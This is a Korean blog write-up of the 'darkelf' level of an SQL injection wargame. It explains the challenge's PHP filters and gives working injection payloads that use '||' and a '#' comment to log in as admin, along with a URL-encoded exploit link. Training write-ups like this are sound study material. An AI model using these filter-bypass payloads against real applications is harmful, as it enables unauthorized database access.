티스토리 뷰

728x90
반응형

$_GET[pw]

PHP 소스코드 상으로는 pw를 GET 파라미터로 받는다고 합니다.

 

if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");

그리고 pw 에 prob라는 단어가 포함되거나, _(언더바), .(온점), ((여는 괄호), )(닫는 괄호) 를 사용하는 것을 금지(필터링)하고 있습니다.

 

if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");

그리고 pw 에 추가로 대소문자 구별없이 or 과 and 문자열 사용도 금지(필터링)하고 있습니다.

 

$query = "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'"; 
echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
if($result['id'] == 'admin') solve("darkelf");

query 변수에 GET 파라미터로 전달 받은 pw를 넣고, mysql 에 query를 실행했을 때 결과로부터 id가 admin일 때만 문제가 풀린다고 합니다.

 

해결방법은 간단합니다. 아래와 같이 guest의 pw 가 무엇이던 간에 id가 admin 이기만 하면 되게 만들어주면 됩니다.

select id from prob_darkelf where id='guest' and pw='asdf'||id='admin'#
select id from prob_darkelf where id='guest' and pw='asdf'||id like 'admin'#

그리고 위 where 절의 pw에 뒤에 부분을 URL 인코딩하여 URL에 넣어주면 문제는 해결됩니다.

https://los.rubiya.kr/chall/darkelf_1.php?pw=asdf%27||id=%27admin%27%23

728x90
반응형
댓글